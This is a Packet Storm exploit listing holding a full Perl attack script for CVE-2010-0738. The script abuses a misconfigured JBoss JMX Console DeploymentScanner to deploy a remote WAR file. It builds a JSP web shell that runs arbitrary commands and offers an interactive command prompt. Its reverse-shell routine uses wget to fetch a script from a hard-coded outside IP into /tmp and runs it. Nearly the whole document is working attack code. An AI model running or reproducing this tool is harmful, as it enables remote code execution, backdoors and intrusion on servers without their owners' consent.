Lucene search

K
packetstormY0ugPACKETSTORM:105520
HistoryOct 03, 2011 - 12:00 a.m.

JBoss addURL Misconfiguration Attack

2011-10-0300:00:00
y0ug
packetstormsecurity.com
33

0.974 High

EPSS

Percentile

99.9%

`#!/usr/bin/perl  
# Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner  
# Date: Oct 3 2011  
# Author: y0ug <at> codsec.com  
# Version:  
# Tested on: Linux  
# CVE : CVE-2010-0738  
#  
# POC against misconfigured JBoss JMX Console  
# It use the addUrl method in DeploymentScanner module  
#  
# More information  
# http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf  
# http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html  
#  
# You need to edit  
# $url_cmd to match the war payload url  
# $url_shell is your reverse shell url  
# ( only if you want to use reverse_shell("ip", "port") )  
#  
# The JSP shell is not mine is available every where  
# I add a -b param that build the war contener to do this you need java  
#  
# Is a fast POC coded this morning for fun so maybe it don't cover all case/version  
#  
# Usage:  
# Build the war contener (need java)  
# ./jboss -b  
# Hack  
# ./jboss http://www.vuln.com:8080  
  
use strict;  
  
use LWP::UserAgent;  
use HTTP::Request::Common qw(POST);  
use HTTP::Request::Common qw(GET);  
use IO::Socket::SSL;  
use Cwd;  
  
# configuration section  
my $url_cmd = "http://78.46.149.64/cmd.war";  
my $url_shell = "http://78.46.149.64/reverse.pl";  
my $debug = 0; # 1 to switch to debug  
my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ".   
"Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'";  
  
# Don't edit from here  
my $installed = 0;  
my $url;  
  
my $ua = LWP::UserAgent->new;  
  
$SIG{INT} = "sigtrap";  
  
sub debug {  
if( $debug ){  
print STDERR "debug: ", @_, "\n";  
}  
}  
  
sub check_url {  
my $request = GET "$url/jmx-console/";  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
return 0;  
}  
  
sub sigtrap {  
if ( $installed ){  
print " [*] Clean of $url in progress...\n";  
clean_war();  
}  
exit 1;  
}  
  
sub find_method_index {  
my $method = shift(@_);  
  
my $request = GET "$url/jmx-console/HtmlAdaptor?" .  
"action=inspectMBean&name=jboss.deployment" .  
"%3Aflavor%3DURL%2Ctype%3DDeploymentScanner";  
  
  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
# Match a certain jboss version  
while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){  
my $form = $1;  
if ( $form =~ /$method/ ){  
if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){  
debug("method $method at index $1");  
return $1;  
}  
}  
}  
  
# Match another jboss version  
while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){  
my $form = $1;  
if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){  
debug("method $method at index $1");  
return $1;  
}  
}  
  
# Match another jboss version  
while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){  
my $form = $1;  
if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){  
debug("method $method at index $1");  
return $1;  
}  
}   
return -1;  
}  
  
sub is_installed_war {  
my $method_index = find_method_index("hasURL");  
if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; }  
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',  
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',  
methodIndex => "$method_index", arg0 => $url_cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
if ( $page =~ m{<pre>(.*?)</pre>}s ){  
my $ret = $1;  
if ( $ret =~ /true/ ){  
return 1;  
}else{  
return 0;  
}  
}else{  
print STDERR "error: occured during is_installed_war regex!\n";  
return -2;  
}  
}  
  
sub install_war {  
if (is_installed_war == 1){  
print " [*] Install canceled, already installed\n";  
return 1;  
}  
my $method_index = find_method_index("addURL");  
if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; }  
  
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',  
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',  
methodIndex => "$method_index", arg0 => $url_cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{<pre>(.*?)</pre>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{</table>(.*?)</body>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}else{  
print STDERR "error: occured during install_war regex!\n";  
return -1;  
}  
}  
  
sub clean_war {  
while(is_installed_war == 1){  
if ( uninstall_war() < 0 ){  
return -1;  
}  
}  
print " [*] Clean complete\n";  
return 0;  
}  
  
sub uninstall_war {  
my $method_index = find_method_index("removeURL");  
if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; }  
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',  
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',  
methodIndex => "$method_index", arg0 => $url_cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{<pre>(.*?)</pre>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{</table>(.*?)</body>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}else{  
print STDERR "error: occured during uninstall_war regex!\n";  
return -1;  
}  
}  
  
sub execute {  
my $cmd = shift(@_);  
print '$ ' . $cmd . "\n";  
  
my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
if ( $response->code == 404 ){  
print STDERR "Command war contener is not installed!\n";  
}else{  
print STDERR $response->status_line, "\n";  
}  
return -1;  
}  
my $page = $response->decoded_content;  
  
my $content = $page;  
  
if ( $content =~ m{<BR>(.*)</pre>}s ){  
print trim($1) . "\n";  
return 0;  
}else{  
print STDERR "error: occured during exec regex!\n";  
return -1;  
}  
}  
  
sub reverse_shell {  
my ($ip, $port) = @_;  
print " [*] reverse shell to $ip $port\n";  
my $cmd = "wget -O /tmp/a $url_shell";  
if ( execute($cmd) < 0 ){  
return -1;  
}  
if ( execute("chmod +x /tmp/a") < 0 ){  
return -1;  
}  
return execute("/tmp/a $ip $port");  
}  
  
sub trim($){  
my $string = shift;  
$string =~ s/^\s+//;  
$string =~ s/\s+$//;  
return $string;  
}  
  
sub setup {  
print " [*] Check url $url...\n";  
if ( check_url() < 0 ){  
print "Url $url not available!\n";  
return -1;  
}  
  
print " [*] Try to install command war contener...\n";  
return install_war;  
}  
  
sub check_cmd {  
my $t = 5;  
for( my $i = 1; $i <= $t ; ++$i ){  
my $request = GET "$url/cmd/cmd.jsp";  
my $response = $ua->request($request);  
if (!$response->is_success) {  
if ( $response->code != 404 ){  
print STDERR $response->status_line, "\n";  
return 0;  
}  
print(" [*] check_cmd $i/$t failed\n");  
}else{  
print(" [*] check_cmd $i/$t ok, gogogo!\n");  
return 1;  
}  
if ( $i < $t-1) {sleep(15); }  
}  
return 0;  
}  
  
sub help {  
print "Help\n";  
print " - Is a perl shell so you can call perl function\n";  
print " > execute(\"id\") # execute the commande\n";  
print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n";  
print " > clean # remove the war contener from the server\n";  
print " > check_cmd # loop until command available\n";  
print " > install_war # install the war contener from url\n";  
print " > exit # clean and quit\n";  
print " > exitd # exit without cleaning\n";  
}  
  
sub build_war {  
my $jsp_file = "cmd.jsp";  
open( my $jsp_output, '>', $jsp_file ) or  
die("Can't open $jsp_file : $!");  
  
print $jsp_output <<EOF;  
<%@ page import="java.util.*,java.io.*"%>  
<%  
%>  
<HTML><BODY>  
Commands with JSP  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<%  
if (request.getParameter("cmd") != null) {  
out.println("Command: " + request.getParameter("cmd") + "<BR>");  
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
OutputStream os = p.getOutputStream();  
InputStream in = p.getInputStream();  
DataInputStream dis = new DataInputStream(in);  
String disr = dis.readLine();  
while ( disr != null ) {  
out.println(disr);  
disr = dis.readLine();  
}  
}  
%>  
</pre>  
</BODY></HTML>  
EOF  
  
close($jsp_output);  
  
mkdir "WEB-INF";  
my $xml_file = "WEB-INF/web.xml";  
open( my $xml_output, '>', $xml_file ) or  
die("Can't open $xml_file : $!");  
print $xml_output <<EOF;  
<?xml version="1.0" ?>  
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee  
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"  
version="2.4">  
<servlet>  
<servlet-name>Command</servlet-name>  
<jsp-file>/cmd.jsp</jsp-file>  
</servlet>  
</web-app>  
EOF  
close($xml_output);  
  
system("jar cvf cmd.war WEB-INF/ $jsp_file");  
unlink($xml_file);  
unlink($jsp_file);  
rmdir("WEB-INF");  
  
print " [*] War contener is here ", getcwd, "/cmd.war\n";  
print " [*] Upload it to your server and update script url\n";  
}  
  
sub shell {  
do {  
print("> ");  
chop($_ = <STDIN>);  
if ( $_ eq "help" ) { help(); }  
if ( $_ eq "exitd" ) { exit 0; }  
elsif ( $_ ne "exit" ){ eval($_); }  
warn() if $@;  
} while ($_ ne "exit");  
}  
  
if($#ARGV+1 != 1){  
print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner\n";  
print " [*] Date: Oct 3 2011\n";  
print " [*] Author: y0ug <at> codsec.com\n";  
print " [*] Version: 0.1\n";  
print " [*] JSP shell url $url_cmd\n\n";  
print " [*] Usage:\n";  
print " Build the war contener (need java)\n";  
print " $0 -b\n";  
print " Hack\n";  
print " $0 http://www.vuln.com:8080\n\n";  
  
  
exit 1;  
}  
  
if($ARGV[0] eq "-b"){  
build_war;  
exit 0;  
}  
  
$url = $ARGV[0];  
  
$ua->agent($useragent);  
  
print " [*] JSP shell url $url_cmd\n";  
  
if ( setup() < 0 ){  
print " [*] Setup failed!\n";  
exit 1;  
}  
$installed = 1;  
print " [*] Wait few minutes, times to JBoss to load the url\n";  
print " [*] You can find the shell here too\n";  
print " [*] $url/cmd/cmd.jsp\n";  
  
if ( check_cmd() <= 0 ){  
print " [*] ## Exploit certainly failed! ##\n";  
print " [*] You can wait a little longer (run > check_cmd)\n";  
}else{  
print " [*] Congrats, is up!\n";  
execute("id");  
}  
  
shell();  
  
print " [*] Clean of $url in progress...\n";  
clean_war();  
  
exit(0);  
  
`